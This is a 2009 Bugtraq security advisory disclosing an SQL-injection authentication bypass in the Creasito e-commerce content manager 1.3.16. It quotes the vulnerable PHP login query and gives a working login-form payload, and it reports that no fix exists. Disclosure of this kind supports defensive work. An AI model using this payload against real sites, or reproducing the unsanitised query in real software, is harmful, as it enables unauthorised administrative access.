bugtraq - Creasito e-commerce content manager Authentication Bypass

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Date: Mon, 20 Apr 2009 17:08:20 +0200
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: Creasito e-commerce content manager Authentication Bypass

*******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

View attachment "Creasito e-commerce content manager Authentication Bypass-20042009.txt" of type "text/plain" (1329 bytes)